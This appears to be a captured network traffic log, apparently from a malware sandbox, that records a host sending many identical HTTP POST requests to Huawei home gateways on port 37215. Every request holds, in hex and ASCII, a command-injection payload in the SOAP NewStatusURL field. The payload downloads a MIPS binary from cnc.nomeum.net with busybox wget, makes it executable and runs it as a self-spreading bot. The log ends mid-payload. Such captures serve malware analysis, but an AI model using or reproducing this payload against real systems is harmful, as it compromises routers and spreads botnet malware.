63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	54588	156.235.39.57	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.317321062 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	50954	41.115.234.247	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.318392038 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	50966	41.47.159.130	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.319493055 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	44852	41.7.7.103	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.321135998 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	57946	41.125.245.240	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.322444916 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	36296	197.90.138.159	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.324192047 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	46754	156.151.29.185	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.329382896 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	55866	156.68.138.126	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.330635071 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	42768	41.39.101.230	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.332967043 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	40306	41.32.197.61	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:46.334505081 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet 